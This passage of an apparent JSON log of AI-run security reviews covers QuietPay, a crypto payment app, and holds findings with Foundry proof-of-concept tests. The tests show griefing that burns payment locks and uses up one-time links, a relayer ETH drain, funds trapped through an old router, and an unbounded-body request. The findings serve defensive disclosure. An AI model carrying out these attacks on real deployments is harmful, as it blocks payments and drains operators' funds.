entrypoint = ep; asset = a; }\n    function ENTRYPOINT() external view returns (address) { return entrypoint; }\n    function ASSET() external view returns (address) { return asset; }\n    function SCOPE() external view returns (uint256) { return scope; }\n    function setDepositor(uint256 label, address d) external { depositors[label] = d; }\n    function nextLabel() external view returns (uint256) {\n        return uint256(keccak256(abi.encodePacked(scope, nonce + 1))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    }\n}\n\ncontract MockEntrypoint {\n    MockToken public token;\n    MockPool public pool;\n    mapping(uint256 => bool) public usedPrecommitments;\n    uint256 public minimumDepositAmount;\n    constructor(MockToken t) { token = t; }\n    function setPool(MockPool p) external { pool = p; }\n    function setMinimum(uint256 m) external { minimumDepositAmount = m; }\n    function deposit(address asset, uint256 value, uint256 precommitment) external returns (uint256 commitment) {\n        require(!usedPrecommitments[precommitment], \"PrecommitmentAlreadyUsed\");\n        require(value >= minimumDepositAmount, \"MinimumDepositAmount\");\n        usedPrecommitments[precommitment] = true;\n        token.transferFrom(msg.sender, address(this), value);\n        uint256 label = pool.nextLabel();\n        pool.setDepositor(label, msg.sender);\n        commitment = uint256(keccak256(abi.encodePacked(value, label, precommitment)));\n    }\n}\n\n/// The link's own lock plus its three spare locks are all handed out by /api/locks to anyone who\n/// knows the request key (it is in the link). A griefer burns every one of them with a 1-unit\n/// deposit, so payRequest can never succeed. The doc's spare-lock mitigation costs 1 unit per lock.\ncontract PoolSpareBurnTest is Test {\n    MockToken token;\n    MockPool pool;\n    MockEntrypoint ep;\n    QuietPayPoolRouterV2 router;\n\n    uint256 constant REQUEST_KEY = 0xA11CE;\n    address attacker = address(0xBAD);\n    address payer = address(0xB0B);\n\n    function setUp() public {\n        token = new MockToken();\n        ep = new MockEntrypoint(token);\n        pool = new MockPool(address(ep), address(token));\n        ep.setPool(pool);\n        router = new QuietPayPoolRouterV2(address(pool));\n        token.mint(attacker, 100);\n        token.mint(payer, 1000);\n        vm.prank(attacker); token.approve(address(router), type(uint256).max);\n        vm.prank(payer); token.approve(address(router), type(uint256).max);\n    }\n\n    function testGrieferBurnsEveryLockIncludingSpares() public {\n        uint256 mainLock = 111;\n        uint256[3] memory spares = [uint256(222), 333, 444];\n\n        // Anyone holding the link can deposit 1 unit into each published lock.\n        vm.startPrank(attacker);\n        router.pay(mainLock, 1, address(0xBAD));\n        router.pay(spares[0], 1, address(0xBAD));\n        router.pay(spares[1], 1, address(0xBAD));\n        router.pay(spares[2], 1, address(0xBAD));\n        vm.stopPrank();\n\n        // Every lock the link or its spares name is now refused by the pool.\n        for (uint256 i = 0; i < 3; i++) {\n            assertTrue(ep.usedPrecommitments(spares[i]));\n        }\n        assertTrue(ep.usedPrecommitments(mainLock));\n\n        // The honest payer with a valid signed request cannot land: the entrypoint refuses the\n        // precommitment before the router can mark the request paid or move any money.\n        vm.prank(payer);\n        vm.expectRevert(bytes(\"PrecommitmentAlreadyUsed\"));\n        router.pay(mainLock, 500, address(0x1234));\n    }\n}","reproduction":"With the link's lock 111 and spares 222/333/444 published, the attacker calls pay(111,1,0xBAD), pay(222,1,0xBAD), pay(333,1,0xBAD), pay(444,1,0xBAD). Expected: the payer can still pay the request through a spare. Actual: every precommitment is used, so any payRequest for those locks reverts PrecommitmentAlreadyUsed and the recipient must issue a new link.","severity":"low","snippet":"  function pay(uint256 precommitment, uint256 amount, address refund) external nonReentrant returns (uint256 label) {","title":"Anyone can burn a pool link's own lock and all three spare locks for 1 base unit each, defeating the documented spare-lock mitigation"},{"citation":"resolved","description":"src/lib/chain.ts:133 accepts both v2 and v3 code hashes and returns v2 as a valid router when it matches KNOWN_ROUTER_V2_CODE_HASHES. The configured address (commit 76f9a83, 'Use router v2 on testnet') is the v2 build, which has no destination check. Its _pay only rejects the zero address, so stealthAddress = token (or the announcer) succeeds and the tokens are transferred into the contract, where nothing can move them. The only remaining guard for these destinations is client-side (checkStealthDestination in src/lib/payer.ts), which does not bind anyone calling the contract directly, and the app's fallback for a missing pool is the same v2 router. SECURITY.md's router section presents the destination refusal as an onchain property; for the deployed configuration it is not.","line":7,"path":".env.production","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {QuietPayRouterV2} from \"src/QuietPayRouterV2.sol\";\nimport {QuietPayRouterV3} from \"src/QuietPayRouterV3.sol\";\nimport {QuietPayTestUSDG} from \"src/QuietPayTestUSDG.sol\";\nimport {ERC5564Announcer} from \"src/ERC5564Announcer.sol\";\n\n/// .env.production still points NEXT_PUBLIC_TESTNET_ROUTER_ADDRESS at the v2 router\n/// (0x40fd154912de23993fe32b861f2c784b664b2d1a), and src/lib/chain.ts accepts v2 as valid.\n/// v2 has no onchain destination check: a payment to the token contract itself succeeds and the\n/// tokens are trapped there. v3 refuses the same call. The only guard left in production is the\n/// client-side checkStealthDestination in src/lib/payer.ts, which any caller bypasses by calling\n/// the contract directly.\ncontract V2DestinationTest is Test {\n    QuietPayTestUSDG token;\n    ERC5564Announcer announcer;\n    QuietPayRouterV2 v2;\n    QuietPayRouterV3 v3;\n\n    address payer = address(0xB0B);\n    bytes ephemeral = hex\"02c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5\";\n\n    function setUp() public {\n        token = new QuietPayTestUSDG();\n        announcer = new ERC5564Announcer();\n        v2 = new QuietPayRouterV2(address(token), address(announcer));\n        v3 = new QuietPayRouterV3(address(token), address(announcer));\n        vm.prank(payer);\n        token.faucet(1000e6);\n        vm.prank(payer);\n        token.approve(address(v2), type(uint256).max);\n        vm.prank(payer);\n        token.approve(address(v3), type(uint256).max);\n    }\n\n    function meta(uint256 amount) internal view returns (bytes memory) {\n        return abi.encodePacked(bytes1(0x00), bytes4(0xa9059cbb), address(token), bytes32(amount));\n    }\n\n    function testV2AcceptsTokenAsDestinationAndTrapsFunds() public {\n        uint256 before = token.balanceOf(address(token));\n        vm.prank(payer);\n        v2.pay(address(token), 100e6, ephemeral, meta(100e6));\n        // The tokens moved into the token contract itself: nothing can ever move them out.\n        assertEq(token.balanceOf(address(token)), before + 100e6);\n    }\n\n    function testV3RefusesTokenAsDestination() public {\n        vm.prank(payer);\n        vm.expectRevert(QuietPayRouterV3.BadDestination.selector);\n        v3.pay(address(token), 100e6, ephemeral, meta(100e6));\n    }\n}","reproduction":"Using the production router address: token.transferFrom(payer, token, 100e6) via QuietPayRouterV2.pay(address(token), 100e6, ephemeral, metadata). Expected (v3 semantics): revert BadDestination. Actual: the call succeeds and token.balanceOf(token) rises by 100e6; the funds are trapped. The same call against QuietPayRouterV3 reverts BadDestination.","severity":"medium","snippet":"NEXT_PUBLIC_TESTNET_ROUTER_ADDRESS=0x40fd154912de23993fe32b861f2c784b664b2d1a","title":"Production config still points at router v2, so the onchain destination check added in v3 is not in force and payments can be sent to the token contract itself"},{"citation":"resolved","description":"decideGasDrop takes the per-recipient cooldown key (line 69) before evaluating the per-caller (line 70) and daily (line 71) limits, and never releases it on denial. A caller who has already used perCallerDaily top-ups can still spend a chosen address's cooldown with a request that is then refused, so the owner of that address gets no top-up for cooldownSec (default 86400). The file header claims 'The daily total only counts requests that passed the per-address and per-caller limits', which this ordering contradicts: the per-address quota is taken by requests that fail the later limits. Impact is limited to the recipient's gas top-up; the withdrawal itself still works.","line":69,"path":"src/lib/server/gas-drops.ts","reproduction":"Set perCallerDaily=3. Caller X performs three top-ups (any recipients). X then POSTs /api/relay with a withdrawal whose recipient is victim address V; decideGasDrop acquires gasdrop:to:V, then returns denied='caller' at line 70 and V's cooldown is held for 86400s. Expected: V's cooldown is untouched because no top-up was sent. Actual: a subsequent legitimate withdrawal to V within the cooldown is denied with 'recipient', so V cannot pay gas to move its tokens.","severity":"low","snippet":"  if (!(await d.kv.acquire(`gasdrop:to:${p.recipient.toLowerCase()}`, d.limits.cooldownSec))) return deny(\"recipient\");","title":"Gas-drop recipient cooldown is consumed before the caller and daily limits, so a denied request blocks a victim's top-up for a day"},{"citation":"resolved","description":"The only body cap is a check of the client-supplied Content-Length header, and the body is then parsed with req.json() (line 66), which buffers it whole. A request sent with chunked transfer encoding (no Content-Length, so Number(undefined ?? 0) is 0) is parsed at any size, unlike /api/relay which uses readJson. The route is unauthenticated and handles arbitrary client input, so this is a memory/CPU exhaustion path against the server. Even the guarded path is approximate: readJson compares text.length (UTF-16 code units) rather than byte length (src/lib/server/guard.ts:194), admitting up to three times maxBytes.","line":63,"path":"src/app/api/locks/route.ts","reproduction":"POST /api/locks with Transfer-Encoding: chunked and no Content-Length, body = a JSON array repeated to tens of megabytes. Expected: 413 before parsing. Actual: the request is JSON.parse'd in full; each concurrent request holds its body in memory.","severity":"low","snippet":"  if (Number(req.headers.get(\"content-length\") ?? 0) > 40_000) return NextResponse.json({ error: \"Request too large.\" }, { status: 413, headers: noStore });","title":"POST /api/locks reads a JSON body with no size bound when Content-Length is absent"},{"citation":"resolved","description":"A request key is derived from (wallet seed, chain, link index) alone (src/lib/link-keys.ts:74, deriveRequestKey). SECURITY.md:101 already documents that two devices creating links offline can pick the same link number and 'the links then share keys', and says funds stay recoverable and fixed links only show payments carrying their own request ID. With signed pool requests that is no longer true: payRequest records the paid state per signing address, not per request ID, so once the first of the two links is paid, the second one's correctly signed, unexpired, unpaid request always reverts RequestAlreadyPaid. Link creation picks the number as Math.max(nextLinkIndex, poolFloor) with no chain check when the device has already checked the chain (src/app/create/CreateFlow.tsx:170), so the collision stays reachable exactly as documented. The victim must make a new link; no funds are lost.","line":83,"path":"contracts/src/QuietPayPoolRouterV2.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {QuietPayPoolRouterV2} from \"src/QuietPayPoolRouterV2.sol\";\n\ncontract MockToken {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transferFrom(address f, address t, uint256 a) external returns (bool) {\n        require(allowance[f][msg.sender] >= a, \"allowance\");\n        allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[t] += a; return true;\n    }\n    function transfer(address t, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[t] += a; return true; }\n}\n\ncontract MockPool {\n    address public entrypoint;\n    address public asset;\n    uint256 public scope = 1;\n    uint256 public nonce;\n    mapping(uint256 => address) public depositors;\n    constructor(address ep, address a) { entrypoint = ep; asset = a; }\n    function ENTRYPOINT() external view returns (address) { return entrypoint; }\n    function ASSET() external view returns (address) { return asset; }\n    function SCOPE() external view returns (uint256) { return scope; }\n    function setDepositor(uint256 label, address d) external { depositors[label] = d; }\n    function nextLabel() external view returns (uint256) {\n        return uint256(keccak256(abi.encodePacked(scope, nonce + 1))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    }\n    function bumpNonce() external returns (uint256) {\n        nonce += 1;\n        return uint256(keccak256(abi.encodePacked(scope, nonce))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    }\n}\n\ncontract MockEntrypoint {\n    MockToken public token;\n    MockPool public pool;\n    mapping(uint256 => bool) public usedPrecommitments;\n    constructor(MockToken t) { token = t; }\n    function setPool(MockPool p) external { pool = p; }\n    function deposit(address, uint256 value, uint256 precommitment) external returns (uint256 commitment) {\n        require(!usedPrecommitments[precommitment], \"PrecommitmentAlreadyUsed\");\n        usedPrecommitments[precommitment] = true;\n        token.transferFrom(msg.sender, address(this), value);\n        uint256 label = pool.bumpNonce();\n        pool.setDepositor(label, msg.sender);\n        commitment = uint256(keccak256(abi.encodePacked(value, label, precommitment)));\n    }\n}\n\n/// Two one-time links made offline on two devices can pick the same link number (SECURITY.md says\n/// so). The request key is derived from the link number alone, so both links are signed by the same\n/// address, and QuietPayPoolRouterV2 marks a request paid per signing address. Paying the first\n/// link therefore makes the second permanently unpayable, even though its request ID, amount,\n/// expiry and lock are all different and correctly signed.\ncontract RequestKeyReuseTest is Test {\n    MockToken token;\n    MockPool pool;\n    MockEntrypoint ep;\n    QuietPayPoolRouterV2 router;\n\n    uint256 constant REQUEST_KEY_PK = 0xA11CE5EED;\n    address payerA = address(0xA1);\n    address payerB = address(0xB1);\n\n    function setUp() public {\n        token = new MockToken();\n        ep = new MockEntrypoint(token);\n        pool = new MockPool(address(ep), address(token));\n        ep.setPool(pool);\n        router = new QuietPayPoolRouterV2(address(pool));\n        token.mint(payerA, 1000);\n        token.mint(payerB, 1000);\n        vm.prank(payerA); token.approve(address(router), type(uint256).max);\n        vm.prank(payerB); token.approve(address(router), type(uint256).max);\n    }\n\n    function sign(bytes32 digest) internal pure returns (bytes memory) {\n        // EIP-191 personal-sign over the 32-byte digest, as the app does (viem signMessage raw).\n        bytes32 h = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", digest));\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(REQUEST_KEY_PK, h);\n        return abi.encodePacked(r, s, v);\n    }\n\n    function testSecondLinkWithSameKeyCannotBePaid() public {\n        address key = vm.addr(REQUEST_KEY_PK);\n\n        // Link A: request id 0xaa.. amount 100, lock 111\n        bytes16 idA = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\n        uint256 amountA = 100;\n        uint64 expiresA = uint64(block.timestamp + 1 days);\n        bytes memory termsA = sign(router.requestDigest(idA, amountA, expiresA));\n        bytes memory lockA = sign(router.lockDigest(111, address(0xAAA)));\n\n        // Link B: different request id, amount and lock, same signing key (same link number).\n        bytes16 idB = 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;\n        uint256 amountB = 200;\n        uint64 expiresB = uint64(block.timestamp + 2 days);\n        bytes memory termsB = sign(router.requestDigest(idB, amountB, expiresB));\n        bytes memory lockB = sign(router.lockDigest(222, address(0xBBB)));\n\n        vm.prank(payerA);\n        router.payRequest(idA, amountA, expiresA, termsA, 111, address(0xAAA), lockA);\n        assertTrue(router.requestPaid(key));\n\n        // Link B is validly signed, unexpired, unpaid and has a fresh lock, yet cannot be paid.\n        vm.prank(payerB);\n        vm.expectRevert(QuietPayPoolRouterV2.RequestAlreadyPaid.selector);\n        router.payRequest(idB, amountB, expiresB, termsB, 222, address(0xBBB), lockB);\n    }\n}","reproduction":"Link A and link B were made offline on two devices with the same link number, so they share one request key (address K). Both carry different request IDs, amounts, expiries and locks, each correctly signed by K. A payer pays A: payRequest(idA, 100, expiresA, termsSigA, 111, refundA, lockSigA) succeeds and requestPaid(K) becomes true. Expected: paying B (payRequest(idB, 200, expiresB, termsSigB, 222, refundB, lockSigB)) succeeds because its request ID and lock are unused. Actual: it reverts RequestAlreadyPaid, and every later attempt does too.","severity":"medium","snippet":"  mapping(address requestKey => bool) public requestPaid;","title":"Two links that pick the same link number share a request key, so paying one makes the other permanently unpayable"}],"hash":"7ac0754438f24e69b884846b1ac68f1ff3fbeff1f534a91c4d6db04c5a433639","nodeId":"62dbde1f-c3f5-4922-a9dd-b8466f6b8b3a","outcome":"completed","summary":"partial review: the turn budget ran out with 6 finding(s) written.\n","treeHash":null,"usage":{"cachedInputTokens":16095699,"cost":{"source":"runtime","usdMicros":20647311},"inputTokens":224,"model":"claude-fable-5-1","outputTokens":234578,"runtime":"claude","turns":57,"wallClockMs":1929968}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4faf975f1178e1f8","findings":[{"citation":"resolved","description":"afterFees() (used by SendFlow.tsx:185 for the pre-send summary and SendFlow.tsx:298 for the done screen) subtracts only the relayer fee. For a send to a personal link, each part goes through QuietPayPoolRouterV2.transfer, which withdraws `got`, pays `fee` to the relayer and re-deposits `got - fee` through the Entrypoint (QuietPayPoolRouterV2.sol:215). Entrypoint._handleDeposit deducts the vetting fee again: credited = (got-fee) - (got-fee)*vettingFeeBPS/10000. The Transferred event (QuietPayPoolRouterV2.sol:216) likewise reports the pre-vetting `got - fee`. Precision x invariant seam: the invariant 'displayed arrives == recipient note value' holds only when vettingFeeBPS == 0 (the current testnet deployment, scripts/deploy-testnet.ts:152); the guardian may set it up to 100 bps through a delayed proposal, after which every pool-to-pool send overstates what the recipient receives. Not a loss of funds: the difference sits in the pool as the Entrypoint's fee as designed. Fix: for to.kind === 'key', compute arrives per part as creditedAmount(part.amount - feeFor(part.amount, feeBPS), vettingFeeBPS) and show the vetting fee as a separate line; document on Transferred that `amount` is before the vetting fee.","line":44,"path":"src/lib/pool/send.ts","reproduction":"State: pool vettingFeeBPS = 50 (0.5%), relayer feeBPS = 100 (1%). Sender sends 2.000000 tUSDG (2_000_000 units) to a personal link from one note. Expected (UI): fee 0.020000, arrives 1.980000. Actual on chain: router pays 20_000 to the relayer and deposits 1_980_000; the Entrypoint keeps 9_900 as vetting fee and the recipient's new note is 1_970_100 (1.970100 tUSDG). Foundry evidence: test/scratch/PoolRouterMath.t.sol::test_transferPaysVettingAgain asserts the Entrypoint balance grows by 9_900 and the credited value is 1_970_100 for exactly these inputs (passes against the current contracts).","severity":"low","snippet":"  return { fee, arrives: total - fee };","title":"Send to a personal link shows and confirms an 'arrives' amount that ignores the vetting fee charged on the pool-to-pool re-deposit"},{"citation":"resolved","description":"Lines 287-289 display Delivery fee = value*feeBPS/10000 and Arrives = value - value*feeBPS/10000, where `value` is the amount the one-time address deposits. The deposit is credited after the pool's vetting fee (shown two rows above as afterVettingFee(value, info.vettingFeeBPS), and used correctly for the tooSmall check on line 98). The delivery later withdraws note.value (src/lib/pool/deliver.ts:66), so the relayer fee is afterVetting*feeBPS/10000 and the arrival is afterVetting minus that. Boundary x precision seam inside one component: two formulas for the same quantity use different bases, and they agree only when vettingFeeBPS == 0. Fix: base both rows on afterVettingFee(value, info.vettingFeeBPS).","line":289,"path":"src/app/receive/ShieldForm.tsx","reproduction":"State: vettingFeeBPS = 50, relayer feeBPS = 100, user shields value = 100_000_000 (100 tUSDG) with 'Send it to my wallet'. Displayed: Credited after pool fee 99.500000, Delivery fee 1.000000, Arrives 99.000000. Actual: note value 99_500_000, relay fee 995_000, arrives 98_505_000 (98.505000). Displayed arrival exceeds the real one by 0.495000 tUSDG, and the displayed fee row is inconsistent with the 'Credited after pool fee' row above it.","severity":"low","snippet":"              <dd className=\"text-right text-snow\">{fmt(value - (value * feeBPS) / 10_000n)}</dd>","title":"Shield form computes the delivery fee and 'Arrives' on the pre-vetting deposit amount, not on the note value that is actually withdrawn"},{"citation":"resolved","description":"_pay in V2 checks only the zero address. V3 (QuietPayRouterV3.sol) adds `stealthAddress == address(this) || == token || == announcer -> BadDestination`. V2 remains deployed, immutable and listed as an accepted router by SECURITY.md ('through QuietPayRouterV3 (or QuietPayRouterV2)'), with the destination check done client-side only. A payer who calls V2 directly, or any client that does not implement the client-side check, can send tokens to the token contract where nothing can ever move them. Classification of the previous finding: partially fixed (fixed on chain for V3, client-side only for V2). Fix: drop V2 from the accepted router set, or keep it only with the client-side destination check enforced before every V2 payment, and state this in SECURITY.md.","line":109,"path":"contracts/src/QuietPayRouterV2.sol","reproduction":"Input: r2.pay(address(token), 7, 0x02||32 bytes, metadata{viewTag, 0xa9059cbb, token, 7}) from a payer with allowance. Expected: revert (as V3 does with BadDestination). Actual: succeeds; token.balanceOf(address(token)) == 7 and the tokens are unrecoverable. Shown by test/scratch/RoutersAndGuardian.t.sol::test_v2TokenDestination, which also shows the same call reverting on V3.","severity":"low","snippet":"    if (stealthAddress == address(0)) revert ZeroAddress();","title":"QuietPayRouterV2 still accepts the token, the announcer or itself as the one-time address, stranding the payment (previous destination finding only fixed in V3)"},{"citation":"resolved","description":"_deposit refuses refund == router/token/pool/entrypoint (BadDestination), but transfer() checks feeRecipient only against address(0). If the proof's withdrawal.data names the router (or the token/pool) as feeRecipient, `fee` is transferred to it and stays there: no function can ever move a stray router balance, because every path works on balance deltas. Only the prover chooses feeRecipient and the QuietPay relayer only submits transfers whose feeRecipient is its own address (src/lib/pool/relayer.ts), so this is self-harm or operator misconfiguration, not an attack. Fix: apply the same BadDestination check to feeRecipient when fee != 0.","line":211,"path":"contracts/src/QuietPayPoolRouterV2.sol","reproduction":"State: a note of 5 tUSDG deposited through the router. Input: transfer(withdrawal{processooor: router, data: abi.encode(pre, refund, address(router), 500_000)}, proof{pubSignals[2]=2_000_000, context bound}). Expected: revert BadDestination like a refund to the router. Actual: succeeds; token.balanceOf(router) == 500_000 forever. test/scratch/PoolRouterMath.t.sol::test_transferFeeToRouterIsStranded demonstrates it.","severity":"info","snippet":"      if (feeRecipient == address(0)) revert ZeroAddress();","title":"transfer() does not refuse fee recipients that can never move tokens, unlike the refund check (asymmetry); a fee addressed to the router is stranded in the router"}],"hash":"9af3e4a05635453e2d8ebb07a4d60242e9707fb300eb7cfc5d1d8975f58f5855","nodeId":"0e5d2ba8-0f5b-4064-87db-89be3bb420f2","outcome":"completed","summary":"All four snippets match their files, the findings file is valid JSON at the repository root, and the only files I wrote are `.imd-findings.json` and the two scratch tests. The review is complete.\n\n## Outcome\n\nThe math, boundary and numerical-gap review of the QuietPay contracts found no fund-stealing or fund-trapping defect reachable by an unprivileged party. Four lower-severity findings are recorded in `.imd-findings.json`, all with concrete inputs and expected-versus-actual values.\n\n**Findings written**\n\n- **Low, pool-to-pool send overstates arrival.** The Send screen's `afterFees` helper subtracts only the relayer fee. A transfer through the pool router re-deposits through the Entrypoint, which charges the vetting fee again. With a 0.5% vetting fee and 1% relay fee, a 2.000000 tUSDG send shows 1.980000 arriving but the recipient's note is 1.970100. The Foundry test `test_transferPaysVettingAgain` confirms the on-chain numbers.\n- **Low, Shield form fee rows use the wrong base.** Delivery fee and Arrives are computed on the pre-vetting deposit, while the delivery withdraws the post-vetting note value. The same component already uses the correct base for its \"too small\" check two lines earlier.\n- **Low, router V2 destination check is client-side only.** V2 still accepts the token, announcer or itself as the one-time address and strands the tokens. V3 fixes this on chain, but SECURITY.md still lists V2 as accepted. The previous destination finding is partially fixed.\n- **Info, transfer fee recipient asymmetry.** The refund address is refused when it is the router, token, pool or entrypoint, but the fee recipient is not. A fee addressed to the router is stranded. Only the prover can choose this and the relayer rejects it, so it is self-harm.\n\nBoth vetting-fee findings are latent today because the testnet deploy sets the vetting fee to zero. The guardian can raise it to 1% by delayed proposal, which makes them live.\n\n**What was tested and held**\n\nSeventeen Foundry tests under `test/scratch/` pass against the current contracts, including fuzzing of the pool router across all fee settings (router never retains tokens or allowance, pool credited exactly amount minus fee, label prediction correct), request expiry at the exact boundary, underpayment never consuming a request, high-s signature rejection, transfer fee at `got-1` versus `got`, ragequit refund exactness, router metadata amount binding, stipend at exactly the cap, fee-on-transfer rejection, payOnce replay, and guardian fee ceilings and timing at `eta-1`, `eta+14 days` and `eta+14 days+1`.\n\n**Coverage limits**\n\nThe vendored 0xbow pool and Entrypoint were modelled with mocks that reproduce their fee, label and depositor arithmetic rather than compiled, since their solc 0.8.28 pin differs from the routers' 0.8.23 and valid Groth16 proofs cannot be produced in Foundry. The TypeScript findings were verified by reading and arithmetic, not by running vitest, because the repository has no installed dependencies. The relayer economics loop, gas-drop limits, link encoding bounds, Poseidon field reductions and block-by-timestamp search were read and found consistent. The seven previous findings were not supplied as a document; from the remediation commit I could classify only the destination check (partially fixed, above) and confirm the signed-request, guardian ceiling and fee-display remediations behave as described at their boundaries.","treeHash":null,"usage":{"cachedInputTokens":2465293,"cost":{"source":"runtime","usdMicros":6932243},"inputTokens":610,"model":"claude-fable-5-1","outputTokens":52536,"runtime":"claude","turns":47,"wallClockMs":796479}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"faf271d05ee8ea0f","findings":[{"citation":"resolved","description":"payOnce marks `paidOnce[requestId]` from whatever the caller supplies. Nothing binds the request ID to the link's amount or to the recipient's one-time address: `amount` only has to equal the amount the caller wrote into its own metadata, and `stealthAddress` is any non-excluded address. The remediation (signed requests in QuietPayPoolRouterV2.payRequest) fixed this for pool links only; stealth one-time links, which are the only one-time links on networks without a pool (mainnet), keep the old behaviour, and V2 has the same code. SECURITY.md 'Remaining limits' understates it: the griefer does not have to pay the link's full amount. One base unit, which goes to an address the griefer controls, is enough, so the attack costs only gas. Afterwards the app's pre-flight (src/lib/payer.ts:293, reading `paidOnce`) tells the real payer 'This link was already paid', and the recipient never receives anything and cannot reopen the link.","line":103,"path":"contracts/src/QuietPayRouterV3.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport \"forge-std/Test.sol\";\nimport \"contracts/src/QuietPayRouterV3.sol\";\nimport \"contracts/src/QuietPayTestUSDG.sol\";\nimport \"contracts/src/ERC5564Announcer.sol\";\n\n/// A one-time link (fixed amount 100 tUSDG, requestId R) can be used up by anyone who knows R by\n/// paying 1 base unit to an address of their own. The legitimate payer is then refused.\ncontract PayOnceGriefTest is Test {\n  QuietPayTestUSDG token;\n  ERC5564Announcer announcer;\n  QuietPayRouterV3 router;\n  address payer = address(0xA11CE);\n  address attacker = address(0xBAD);\n  address recipientStealth = address(0x5EA1);\n  address attackerOwn = address(0xBAD2);\n  bytes16 constant R = bytes16(0x11111111111111111111111111111111);\n  uint256 constant LINK_AMOUNT = 100e6;\n\n  function setUp() public {\n    token = new QuietPayTestUSDG();\n    announcer = new ERC5564Announcer();\n    router = new QuietPayRouterV3(address(token), address(announcer));\n    vm.prank(payer);\n    token.faucet(LINK_AMOUNT);\n    vm.prank(payer);\n    token.approve(address(router), type(uint256).max);\n    vm.prank(attacker);\n    token.faucet(1);\n    vm.prank(attacker);\n    token.approve(address(router), type(uint256).max);\n  }\n\n  function _meta(uint256 amount, bytes16 id) internal view returns (bytes memory) {\n    return abi.encodePacked(bytes1(0x42), bytes4(0xa9059cbb), address(token), amount, bytes3(0x515001), id);\n  }\n\n  function test_oneTimeLinkCannotBeUsedUpByAnUnderpayment() public {\n    bytes memory eph = abi.encodePacked(bytes1(0x02), bytes32(uint256(7)));\n    // Attacker: 1 base unit (0.000001 tUSDG) to their own address, carrying the link's request ID.\n    vm.prank(attacker);\n    try router.payOnce(R, attackerOwn, 1, eph, _meta(1, R)) {} catch {}\n    // The real payer pays the link's full amount to the recipient's one-time address.\n    vm.prank(payer);\n    router.payOnce(R, recipientStealth, LINK_AMOUNT, eph, _meta(LINK_AMOUNT, R));\n    assertEq(token.balanceOf(recipientStealth), LINK_AMOUNT, \"recipient was not paid\");\n  }\n}","reproduction":"Link: fixed amount 100 tUSDG (100e6), requestId R=0x1111…11. Attacker with 1 base unit calls payOnce(R, attackerOwnAddress, 1, eph, metadata(viewTag, 0xa9059cbb, token, 1, 0x515001, R)), which succeeds and sets paidOnce[R]=true. The real payer then calls payOnce(R, recipientStealth, 100e6, eph, metadata(...100e6...R)). Expected: the recipient receives 100e6. Actual: revert AlreadyPaid(R), and the recipient's balance stays 0. The proof test fails with AlreadyPaid. Fix: give stealth one-time requests the same treatment as pool requests. The recipient's per-request key signs (chainId, router, token, requestId, amount, expiry, stealthAddress or its spending public key), and payOnce verifies that signature and that amount equals the signed amount before setting paidOnce. Until then, treat paidOnce as a hint rather than proof, and report it in the UI as 'used', not 'paid'.","severity":"medium","snippet":"    paidOnce[requestId] = true;","title":"QuietPayRouterV3.payOnce: any link holder can use up a one-time link by paying 1 base unit to their own address (previous one-time-consumption finding only partially fixed)"},{"citation":"resolved","description":"relayEconomics accepts a relay when the fee, valued at RELAYER_ETH_PRICE (default 3000 tUSDG per ETH), covers the gas. On testnet the fee token is QuietPayTestUSDG, which anyone can mint without limit (faucet(10_000e6) per call, unlimited calls), so the check is meaningless there. The remediation added a minimum balance and per-address, per-caller and daily caps, but only to gas top-ups (src/lib/server/gas-drops.ts, which says 'withdrawals themselves keep working'). Nothing limits the relayer's ETH spent on the relay transactions themselves (relayWithdrawal and relayTransfer) apart from the per-IP limit of 30 per 10 minutes in src/app/api/relay/route.ts, and with RELAYER_MIN_BALANCE_ETH reached relays still go ahead until the balance is zero. relayerContext (src/lib/pool/server.ts) uses the same RELAYER_PRIVATE_KEY wallet for the approver's updateRoot, so an empty relayer also stops new approval roots for every user. New deposits can then only leave by ragequit, not by a private withdrawal.","line":63,"path":"src/lib/pool/relayer.ts","reproduction":"Setup: testnet defaults (RELAYER_FEE_BPS=50, RELAYER_ETH_PRICE=3000, tUSDG 6 decimals, so tokenUnitsPerEth=3000e6), relay gas about 900k at 0.1 gwei, about 9e-5 ETH. Attacker: call faucet(10_000e6) as often as needed, deposit into the pool (approved within POOL_ROOT_INTERVAL_SECONDS=60 on testnet), then POST /api/relay with partial withdrawals of 100e6 each to fresh addresses. Fee = 0.5e6 tUSDG, which relayEconomics values at 1.67e-4 ETH, more than the 9e-5 ETH cost, so ok=true. Expected: relays paid in worthless tokens can't consume the relayer's real ETH without limit. Actual: each IP gets 30 relays per 10 minutes (about 4,320 a day, about 0.39 ETH a day at these numbers), each paid by the relayer in ETH, with no total cap and no stop at RELAYER_MIN_BALANCE_ETH. Once the balance reaches 0, relays fail and refreshApprovals can no longer send updateRoot. Fix: put the relay transaction itself under the gas-drop style limits (daily ETH budget for relays, a per-caller daily count, refusal below RELAYER_MIN_BALANCE_ETH), and use a separate key for the approver (ASP postman) so relay spending can't stop approvals.","severity":"medium","snippet":"  const feeWei = (((p.amount * p.feeBPS) / 10_000n) * WEI) / p.tokenUnitsPerEth;","title":"Relayer ETH can be drained by relays whose fee is paid in free test tokens; the gas-drop limits don't cover the relay gas, and the drained key is also the approver (previous ETH-exhaustion finding par"},{"citation":"resolved","description":"payRequest only accepts locks signed by the request key, and the Entrypoint lets each precommitment be used once. pay() (and a direct Entrypoint.deposit) accepts any precommitment from anyone, for any amount at or above the pool minimum. A request has a bounded set of signed locks: the one in the link plus 